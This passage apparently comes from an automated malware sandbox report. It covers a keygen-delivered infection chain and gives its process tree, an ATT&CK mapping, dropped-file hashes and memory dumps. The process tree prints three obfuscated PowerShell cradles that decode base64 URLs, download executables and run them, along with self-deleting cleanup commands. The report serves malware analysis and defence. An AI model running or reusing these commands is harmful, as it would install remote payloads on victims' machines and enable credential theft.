- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2216

C:\Users\Public\ask.exe
"C:\Users\Public\ask.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:1240

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:4412

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:3840

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
8⤵
PID:1876

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:2708

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:4216

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3136

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 3136 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\994269722490404\\* & exit
9⤵
PID:4696

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 3136
10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4832

C:\Users\Public\ask.exe
"C:\Users\Public\ask.exe"
6⤵
- Executes dropped EXE
PID:4980

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D46C.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:192

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3472

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D46C.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1584

C:\Users\Public\yog.exe
"C:\Users\Public\yog.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4164

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4692

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4892

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4892 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\005980194882572\\* & exit
8⤵
PID:4800

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4892
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4356

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4708

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4908

C:\Users\Public\yog.exe
"C:\Users\Public\yog.exe"
6⤵
- Executes dropped EXE
PID:4820

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\D46C.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3128

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:5036

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\55tj5whq.exe
2⤵
PID:308

C:\Windows\temp\55tj5whq.exe
C:\Windows\temp\55tj5whq.exe
3⤵
- Executes dropped EXE
PID:2512

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4772

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\vcruntime140.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\8vXv4OxADw.exe

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C:\Users\Admin\AppData\Local\Temp\8vXv4OxADw.exe

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C:\Users\Admin\AppData\Local\Temp\BDpxIWiC2Y.exe

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C:\Users\Admin\AppData\Local\Temp\BDpxIWiC2Y.exe

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C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\D46C.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\I1Bd8Fy34y.exe

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C:\Users\Admin\AppData\Local\Temp\I1Bd8Fy34y.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\dMg7lEEGB7.exe

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C:\Users\Admin\AppData\Local\Temp\dMg7lEEGB7.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Public\ask.exe

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C:\Users\Public\ask.exe

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C:\Users\Public\ask.exe

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C:\Users\Public\grk.exe

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C:\Users\Public\grk.exe

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C:\Users\Public\grk.exe

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C:\Users\Public\yog.exe

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C:\Users\Public\yog.exe

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C:\Users\Public\yog.exe

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C:\Windows\Temp\55tj5whq.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\55tj5whq.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\o3ef1eiq.inf

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll

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\Users\Admin\AppData\LocalLow\sqlite3.dll

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memory/192-14-0x0000000000000000-mapping.dmp

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memory/308-334-0x0000000000000000-mapping.dmp

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memory/728-3-0x0000000000000000-mapping.dmp

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memory/728-2-0x0000000000000000-mapping.dmp

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memory/1240-128-0x0000000000000000-mapping.dmp

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memory/1240-142-0x0000000000CF0000-0x0000000000CF1000-memory.dmp

Filesize
4KB

Download
memory/1240-199-0x0000000006170000-0x0000000006171000-memory.dmp

Filesize
4KB

Download
memory/1240-135-0x00000000703E0000-0x0000000070ACE000-memory.dmp

Filesize
6.9MB

Download
memory/1240-195-0x0000000005A90000-0x0000000005B40000-memory.dmp

Filesize
704KB

Download
memory/1240-215-0x0000000006900000-0x000000000690D000-memory.dmp

Filesize
52KB

Download
memory/1352-86-0x0000000008050000-0x0000000008051000-memory.dmp

Filesize
4KB

Download
memory/1352-18-0x0000000000000000-mapping.dmp

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memory/1352-32-0x00000000703E0000-0x0000000070ACE000-memory.dmp

Filesize
6.9MB

Download
memory/1584-111-0x000000000A360000-0x000000000A361000-memory.dmp

Filesize
4KB

Download
memory/1584-38-0x0000000004490000-0x0000000004491000-memory.dmp

Filesize
4KB

Download
memory/1584-62-0x0000000007870000-0x0000000007871000-memory.dmp

Filesize
4KB

Download
memory/1584-44-0x0000000006FF0000-0x0000000006FF1000-memory.dmp

Filesize
4KB

Download
memory/1584-33-0x00000000703E0000-0x0000000070ACE000-memory.dmp

Filesize
6.9MB

Download
memory/1584-30-0x0000000000000000-mapping.dmp

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memory/1876-237-0x0000000000000000-mapping.dmp

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memory/2072-37-0x00000000703E0000-0x0000000070ACE000-memory.dmp

Filesize
6.9MB

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memory/2072-20-0x0000000000000000-mapping.dmp

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memory/2072-68-0x0000000007DC0000-0x0000000007DC1000-memory.dmp

Filesize
4KB

Download
memory/2084-287-0x0000000000000000-mapping.dmp

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memory/2160-74-0x00000000075B0000-0x00000000075B1000-memory.dmp

Filesize
4KB

Download
memory/2160-31-0x0000000000000000-mapping.dmp

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memory/2160-34-0x00000000703E0000-0x0000000070ACE000-memory.dmp

Filesize
6.9MB

Download
memory/2160-80-0x00000000087F0000-0x00000000087F1000-memory.dmp

Filesize
4KB

Download
memory/2160-92-0x0000000009D00000-0x0000000009D01000-memory.dmp

Filesize
4KB

Download
memory/2216-104-0x0000000009290000-0x0000000009291000-memory.dmp

Filesize
4KB

Download
memory/2216-98-0x0000000008AC0000-0x0000000008AC1000-memory.dmp

Filesize
4KB

Download
memory/2216-106-0x0000000008BA0000-0x0000000008BA1000-memory.dmp

Filesize
4KB

Download
memory/2216-19-0x0000000000000000-mapping.dmp

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memory/2216-36-0x00000000703E0000-0x0000000070ACE000-memory.dmp

Filesize
6.9MB

Download
memory/2216-50-0x0000000006C60000-0x0000000006C61000-memory.dmp

Filesize
4KB

Download
memory/2220-35-0x00000000703E0000-0x0000000070ACE000-memory.dmp

Filesize
6.9MB

Download
memory/2220-56-0x00000000080D0000-0x00000000080D1000-memory.dmp

Filesize
4KB

Download
memory/2220-17-0x0000000000000000-mapping.dmp

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memory/2512-337-0x0000000000000000-mapping.dmp

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memory/2512-336-0x0000000000000000-mapping.dmp

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memory/2512-340-0x00007FFAC5BF0000-0x00007FFAC65DC000-memory.dmp

Filesize
9.9MB

Download
memory/2512-342-0x0000000000B00000-0x0000000000B01000-memory.dmp

Filesize
4KB

Download
memory/2540-12-0x0000000000000000-mapping.dmp

Download
memory/2708-248-0x0000000000680000-0x0000000000681000-memory.dmp

Filesize
4KB

Download
memory/2708-245-0x0000000000000000-mapping.dmp

Download
memory/2708-264-0x0000000004F20000-0x0000000004F44000-memory.dmp

Filesize
144KB

Download
memory/2708-250-0x0000000001000000-0x0000000001001000-memory.dmp

Filesize
4KB

Download
memory/2708-247-0x0000000073160000-0x000000007384E000-memory.dmp

Filesize
6.9MB

Download
memory/2824-315-0x0000000000000000-mapping.dmp

Download
memory/2824-319-0x0000000004910000-0x0000000004911000-memory.dmp

Filesize
4KB

Download
memory/3032-27-0x0000000000000000-mapping.dmp

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memory/3068-279-0x0000000000000000-mapping.dmp

Download
memory/3068-282-0x0000000072790000-0x0000000072E7E000-memory.dmp

Filesize
6.9MB

Download
memory/3068-283-0x0000000000420000-0x0000000000421000-memory.dmp

Filesize
4KB

Download
memory/3068-285-0x0000000000CE0000-0x0000000000CE1000-memory.dmp

Filesize
4KB

Download
memory/3068-359-0x000000000BDE0000-0x000000000BE05000-memory.dmp

Filesize
148KB

Download
memory/3068-355-0x000000000A750000-0x000000000A774000-memory.dmp

Filesize
144KB

Download
memory/3068-307-0x000000000A3F0000-0x000000000A3F1000-memory.dmp

Filesize
4KB

Download
memory/3128-29-0x0000000000000000-mapping.dmp

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memory/3136-240-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/3136-241-0x0000000000417A8B-mapping.dmp

Download
memory/3136-243-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/3276-9-0x0000000000000000-mapping.dmp

Download
memory/3392-323-0x0000000072790000-0x0000000072E7E000-memory.dmp

Filesize
6.9MB

Download
memory/3392-346-0x0000000008FC0000-0x0000000008FF3000-memory.dmp

Filesize
204KB

Download
memory/3392-322-0x0000000000000000-mapping.dmp

Download
memory/3392-358-0x0000000009310000-0x0000000009311000-memory.dmp

Filesize
4KB

Download
memory/3392-354-0x0000000008FA0000-0x0000000008FA1000-memory.dmp

Filesize
4KB

Download
memory/3392-330-0x0000000007AA0000-0x0000000007AA1000-memory.dmp

Filesize
4KB

Download
memory/3392-333-0x0000000008400000-0x0000000008401000-memory.dmp

Filesize
4KB

Download
memory/3460-356-0x0000000000000000-mapping.dmp

Download
memory/3460-360-0x0000000072790000-0x0000000072E7E000-memory.dmp

Filesize
6.9MB

Download
memory/3472-16-0x0000000000000000-mapping.dmp

Download
memory/3544-232-0x0000000000000000-mapping.dmp

Download
memory/3840-222-0x0000000000000000-mapping.dmp

Download
memory/3840-228-0x0000000003140000-0x0000000003141000-memory.dmp

Filesize
4KB

Download
memory/3840-235-0x000000000B100000-0x000000000B151000-memory.dmp

Filesize
324KB

Download
memory/3840-225-0x0000000000F00000-0x0000000000F01000-memory.dmp

Filesize
4KB

Download
memory/3840-224-0x00000000730E0000-0x00000000737CE000-memory.dmp

Filesize
6.9MB

Download
memory/3896-341-0x0000000000000000-mapping.dmp

Download
memory/3928-10-0x0000000000000000-mapping.dmp

Download
memory/3988-0-0x0000000000000000-mapping.dmp

Download
memory/4024-7-0x0000000000000000-mapping.dmp

Download
memory/4140-122-0x0000000000000000-mapping.dmp

Download
memory/4148-230-0x0000000000000000-mapping.dmp

Download
memory/4164-129-0x0000000000000000-mapping.dmp

Download
memory/4184-147-0x0000000000000000-mapping.dmp

Download
memory/4216-270-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4216-267-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/4216-268-0x000000000041A684-mapping.dmp

Download
memory/4236-296-0x0000000000000000-mapping.dmp

Download
memory/4268-291-0x0000000000000000-mapping.dmp

Download
memory/4268-294-0x0000000072790000-0x0000000072E7E000-memory.dmp

Filesize
6.9MB

Download
memory/4268-300-0x0000000000B60000-0x0000000000B61000-memory.dmp

Filesize
4KB

Download
memory/4268-311-0x000000000B070000-0x000000000B075000-memory.dmp

Filesize
20KB

Download
memory/4268-309-0x000000000AFB0000-0x000000000AFC2000-memory.dmp

Filesize
72KB

Download
memory/4268-303-0x0000000001460000-0x0000000001461000-memory.dmp

Filesize
4KB

Download
memory/4356-233-0x0000000000000000-mapping.dmp

Download
memory/4364-305-0x0000000000000000-mapping.dmp

Download
memory/4408-313-0x0000000005270000-0x0000000005281000-memory.dmp

Filesize
68KB

Download
memory/4408-295-0x0000000000000000-mapping.dmp

Download
memory/4408-306-0x0000000001090000-0x0000000001091000-memory.dmp

Filesize
4KB

Download
memory/4408-302-0x0000000000910000-0x0000000000911000-memory.dmp

Filesize
4KB

Download
memory/4408-299-0x0000000072790000-0x0000000072E7E000-memory.dmp

Filesize
6.9MB

Download
memory/4408-321-0x000000000AE40000-0x000000000AE43000-memory.dmp

Filesize
12KB

Download
memory/4412-214-0x0000000000000000-mapping.dmp

Download
memory/4556-166-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4556-154-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4556-155-0x000000000043FCC3-mapping.dmp

Download
memory/4584-145-0x0000000000000000-mapping.dmp

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memory/4640-167-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4640-157-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4640-159-0x0000000000417A8B-mapping.dmp

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memory/4676-163-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4676-169-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4676-165-0x000000000041A684-mapping.dmp

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memory/4692-158-0x0000000000000000-mapping.dmp

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memory/4696-260-0x0000000000000000-mapping.dmp

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memory/4708-160-0x0000000000000000-mapping.dmp

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memory/4772-344-0x0000000000000000-mapping.dmp

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memory/4772-347-0x00007FFAC5BF0000-0x00007FFAC65DC000-memory.dmp

Filesize
9.9MB

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memory/4772-363-0x000002481D310000-0x000002481D311000-memory.dmp

Filesize
4KB

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memory/4772-357-0x000002481B010000-0x000002481B011000-memory.dmp

Filesize
4KB

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memory/4800-231-0x0000000000000000-mapping.dmp

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memory/4820-175-0x000000000043FCC3-mapping.dmp

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memory/4820-177-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/4832-262-0x0000000000000000-mapping.dmp

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memory/4892-185-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4892-181-0x0000000000417A8B-mapping.dmp

